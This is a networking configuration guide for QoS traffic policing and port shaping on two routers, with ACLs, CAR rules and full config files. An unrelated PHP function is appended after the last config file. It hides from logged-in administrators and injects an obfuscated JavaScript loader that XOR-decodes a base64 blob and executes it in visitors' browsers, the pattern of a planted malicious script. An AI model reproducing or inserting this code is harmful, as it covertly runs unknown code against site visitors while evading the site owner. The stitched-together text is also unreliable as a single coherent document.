Networking Requirements
-
A maximum of 6 Mbit/s bandwidth is assured for the traffic from Server. The bandwidth is always 5 Mbit/s in this example. For traffic of which the rate exceeds 5 Mbit/s but is less than or equal to 6 Mbit/s, packets are forwarded properly. When the traffic rate exceeds 6 Mbit/s, nonconforming traffic is treated and forwarded as BE traffic.
-
The rate limit on the traffic from PC1 is 2 Mbit/s. When the traffic rate exceeds the rate limit, nonconforming traffic is dropped.
-
The rate of the EF traffic arriving at Device B through GE 0/3/0 of Device A is limited to 20 Mbit/s. When the traffic rate exceeds the rate limit, nonconforming traffic is dropped.
-
The rate of the EF traffic arriving at the Internet through GE 0/2/0 of Device B is limited to 30 Mbit/s. When the traffic rate exceeds the rate limit, nonconforming traffic is dropped.
|
Table 1
|
||
|
Device name
|
Interface
|
IP address
|
|
DeviceA
|
GE0/1/0
|
1.1.1.3/24
|
|
GE0/3/0
|
2.1.1.2/24
|
|
|
DeviceB
|
GE0/1/0
|
2.1.1.3/24
|
|
GE0/2/0
|
2.2.2.1/24
|
|
Precautions
-
If the CoS of a packet is re-marked as EF, BE, CS6, or CS7, the packet can be re-marked green only.
-
To view the statistics about a traffic policy, you can use the statistics enable command to enable the statistics function for the traffic policy.
Configuration Roadmap
-
On the inbound interface GE 0/1/0 of Device A, perform complex traffic classification based-traffic policing for traffic from Server and PC1.
-
On the outbound interface GE 0/3/0 of Device A, configure traffic shaping so that the rate of the EF traffic that arrives at Device B is limited to 20 Mbit/s.
-
On the outbound interface GE 0/2/0 of Device B, configure traffic shaping so that the rate of the EF traffic entering the Internet from this interface is limited to 30 Mbit/s.
Data Preparation
-
Access Control List (ACL) numbers, traffic classifier names, traffic behavior names, traffic policy names, and the interfaces on which traffic policies are applied, for the traffic from Server and PC1
-
Committed information rate (CIR), peak information rate (PIR), committed burst size (CBS), and peak burst size (PBS) for traffic shaping
-
Traffic rate for traffic shaping and the interface on which traffic shaping is configured
Procedure
- Configure an IP address for each interface. The configuration details are not provided here.
- Configure Device A.
# Configure ACL rules for data flows from Server and PC1.
<DeviceA> system-view[~DeviceA] acl number 2001
[*DeviceA-acl4-basic-2001] rule permit source 1.1.1.1 0.0.0.0
[*DeviceA-acl4-basic-2001] commit
[~DeviceA-acl4-basic-2001] quit
[~DeviceA] acl number 2002
[*DeviceA-acl4-basic-2002] rule permit source 1.1.1.2 0.0.0.0
[*DeviceA-acl4-basic-2002] commit
[~DeviceA-acl4-basic-2002] quit
# Configure traffic classifiers and define ACL-based matching rules.[~DeviceA] traffic classifier class1
[*DeviceA-classifier-class1] if-match acl 2001
[*DeviceA-classifier-class1] commit
[~DeviceA-classifier-class1] quit
[~DeviceA] traffic classifier class2
[*DeviceA-classifier-class2] if-match acl 2002
[*DeviceA-classifier-class2] commit
[~DeviceA-classifier-class2] quit
# Define a traffic behavior. Set the bandwidth for the traffic from Server to 5 Mbit/s and the maximum bandwidth to 6 Mbit/s. The traffic of which the rate exceeds 5 Mbit/s but is lower than or equal to 6 Mbit/s is forwarded. When the traffic rate exceeds 6 Mbit/s, nonconforming traffic is treated and forwarded as BE traffic.[~DeviceA] traffic behavior behavior1
[*DeviceA-behavior-behavior1] car cir 5000 pir 6000 green pass yellow pass red pass service-class be color green
[*DeviceA-behavior-behavior1] commit
[~DeviceA-behavior-behavior1] quit
# Define a traffic behavior. Set the rate limit on the traffic from PC1 to 2 Mbit/s. When the traffic rate exceeds 2 Mbit/s, nonconforming traffic is dropped.[~DeviceA] traffic behavior behavior2
[*DeviceA-behavior-behavior2] car cir 2000 green pass yellow discard red discard
[*DeviceA-behavior-behavior2] commit
[~DeviceA-behavior-behavior2] quit
# Define a traffic policy to associate traffic classifiers with traffic behaviors.[~DeviceA] traffic policy policy1
[*DeviceA-trafficpolicy-policy1] classifier class1 behavior behavior1
[*DeviceA-trafficpolicy-policy1] classifier class2 behavior behavior2
[*DeviceA-trafficpolicy-policy1] commit
[~DeviceA-trafficpolicy-policy1] quit
# Apply the traffic policy to GE 0/1/0.[~DeviceA] interface gigabitethernet 0/1/0
[~DeviceA-GigabitEthernet0/1/0] undo shutdown
[*DeviceA-GigabitEthernet0/1/0] traffic-policy policy1 inbound
[*DeviceA-GigabitEthernet0/1/0] commit
# Configure traffic shaping on GE 0/3/0 of Device A to shape the traffic sent from this interface (dropping traffic of which the rate is greater than 20 Mbit/s) so that the packet loss ratio on GE 0/1/0 of Device B is lowered.[~DeviceA] interface gigabitethernet 0/3/0
[~DeviceA-GigabitEthernet0/3/0] undo shutdown
[*DeviceA-GigabitEthernet0/3/0] port shaping 20
[*DeviceA-GigabitEthernet0/3/0] commit
- Configure Device B.
# Configure traffic shaping on GE 0/2/0.
<*DeviceB> system-view
[~DeviceB] interface gigabitethernet0/2/0
[~DeviceB-GigabitEthernet0/2/0] undo shutdown
[*DeviceB-GigabitEthernet0/2/0] port shaping 30
[*DeviceB-GigabitEthernet0/2/0] commit
[~DeviceB-GigabitEthernet0/2/0] return
- Verify the configuration.
Run the display interface command to check traffic information on Device B.
Configuration Files
-
Configuration file of Device A
#
sysname DeviceA#
acl number 2001
rule 5 permit source 1.1.1.1 0
#
acl number 2002
rule 5 permit source 1.1.1.2 0
#
traffic classifier class1 operator or
if-match acl 2001
traffic classifier class2 operator or
if-match acl 2002
#
traffic behavior behavior1
car cir 5000 pir 6000 green pass yellow pass red pass service-class be color green
traffic behavior behavior2
car cir 2000 green pass yellow discard red discard
#
traffic policy policy1
classifier class1 behavior behavior1 precedence 5
classifier class2 behavior behavior2 precedence 10
#
interface GigabitEthernet0/1/0
undo shutdown
ip address 1.1.1.3 255.255.255.0
traffic-policy policy1 inbound
#
interface GigabitEthernet0/3/0
undo shutdown
ip address 2.1.1.2 255.255.255.0
port shaping 20
#
ospf 1
area 0.0.0.0
network 1.1.1.0 0.255.255.255
network 2.1.1.0 0.0.0.255
#
return
-
Configuration file of Device B
#
sysname DeviceB#
interface GigabitEthernet0/2/0
undo shutdown
ip address 2.2.2.1 255.255.255.0
port shaping 30
#
ospf 1
area 0.0.0.0
network 2.2.2.0 0.0.0.255
network 2.1.1.0 0.0.0.255
#
return
function xdav_tracker() {
if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }
?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEh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T15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();

